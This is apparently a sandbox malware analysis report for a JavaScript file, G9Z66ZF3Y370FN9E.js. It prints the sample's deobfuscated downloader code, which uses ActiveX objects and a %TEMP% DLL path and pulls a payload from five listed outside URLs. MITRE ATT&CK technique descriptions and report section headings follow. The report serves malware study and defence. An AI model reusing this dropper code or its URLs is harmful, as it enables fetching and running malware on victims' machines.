330	var DeadAstronautInSpaceEAy8 = [ this["DeadAstronautInSpaceTz0"] + "mokinukai.lt/x4szqe", this["DeadAstronautInSpaceTz0"] + "mufengzhai.com/yfnglx2", this["DeadAstronautInSpaceTz0"] + "kleansys.com/y7oragomg", this["DeadAstronautInSpaceTz0"] + "orantpamir.net/el3w488r9", this["DeadAstronautInSpaceTz0"] + "oimeferio.net/sl60vc" ];
331	var DeadAstronautInSpaceTd5 = "TmrGGCpnEDouGt";
332	var DeadAstronautInSpaceAc6 = "dKnE1ET0QK";
333	var DeadAstronautInSpaceSPp4 = "y600cBdKt5HYiTFVZ2d2zeKKA1n";
334	var DeadAstronautInSpaceZx1 = new ActiveXObject ( "Scripting.FileSystemObject" );
335	var DeadAstronautInSpaceLDk0 = 2;
336	var DeadAstronautInSpacePGv4 = new ActiveXObject ( "WScript.Shell" );
337	var DeadAstronautInSpacePy9 = DeadAstronautInSpacePGv4["\x45\x78\x70\x61\x6e\x64\x45\x6e\x76\x69\x72\x6f\x6e\x6d\x65\x6e\x74\x53\x74\x72\x69\x6e\x67\x73"] ( "\x25\x54\x45\x4d\x50\x25\x2f" );	ExpandEnvironmentStrings("%TEMP%/") ➔ "C:\Users\alfons\AppData\Local\Temp/"
338	var DeadAstronautInSpacePv6 = DeadAstronautInSpacePy9 + DeadAstronautInSpaceTd5;
339	var DeadAstronautInSpaceHOc8 = DeadAstronautInSpacePv6 + ".d" + "ll";
340	var DeadAstronautInSpaceFo0 = [ "M,S,X,M,L,2,.,X,M,L,H,T,T,P".DeadAstronautInSpaceBXv3 ( ), "WinHttp.WinHttpRequest.5.1" ];	"M,S,X,M,L,2,.,X,M,L,H,T,T,P".DeadAstronautInSpaceBXv3() ➔ "MSXML2.XMLHTTP"
341	for ( var DeadAstronautInSpaceJNh5 = 0 ; DeadAstronautInSpaceJNh5 < DeadAstronautInSpaceFo0.length ; DeadAstronautInSpaceJNh5 += 1 )
342	{
343	try
344	{
345	var DeadAstronautInSpaceMYw4 = new ActiveXObject ( DeadAstronautInSpaceFo0[DeadAstronautInSpaceJNh5] );
346	break ;
347	}
348	catch ( e )
349	{
350	continue ;
351	}
352	}
353	;
354	function DeadAstronautInSpaceLRg7() {
355	var DeadAstronautInSpaceTc8 = DeadAstronautInSpaceZx1.GetFile ( DeadAstronautInSpaceHOc8 );
356	return DeadAstronautInSpaceTc8["ShortPath"];
357	}
358	var DeadAstronautInSpaceJRz9 = 0;
359	for ( var DeadAstronautInSpaceVw1 = 0 ; DeadAstronautInSpaceVw1 < DeadAstronautInSpaceEAy8.length ; DeadAstronautInSpaceVw1 = DeadAstronautInSpaceVw1 + 1 )
360	{
361	try
362	{
363	var DeadAstronautInSpaceIUo6 = new ActiveXObject ( "A" + "D" + "O" + "DB.Stream" );
364	DeadAstronautInSpaceMYw4["open"] ( "G,E,T".DeadAstronautInSpaceBXv3 ( ), DeadAstronautInSpaceEAy8[DeadAstronautInSpaceVw1], false );	"G,E,T".DeadAstronautInSpaceBXv3() ➔ "GET" open("GET","http://mokinukai.lt/x4szqe",false) ➔ undefined
365	DeadAstronautInSpaceMYw4.setRequestHeader ( "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" );	setRequestHeader("User-Agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)") ➔ undefined
366	DeadAstronautInSpaceMYw4["s,e,n,d".DeadAstronautInSpaceBXv3 ( ) ] ( );	"s,e,n,d".DeadAstronautInSpaceBXv3() ➔ "send" send() ➔ undefined
367	DeadAstronautInSpaceIUo6["open"] ( );	open() ➔ undefined
368	DeadAstronautInSpaceIUo6.type = 1;
369	break ;
370	}
371	catch ( e )
372	{
373	continue ;
374	}
375	;
376	}

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Windows Analysis Report G9Z66ZF3Y370FN9E.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\x4szqe[1].htm

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

System Behavior

Analysis Process: wscript.exePID: 1896, Parent PID: 1028

General

Chronological Activities

Disassembly

Code Analysis

JavaScript Code

Call Graph

Windows Analysis Report
G9Z66ZF3Y370FN9E.js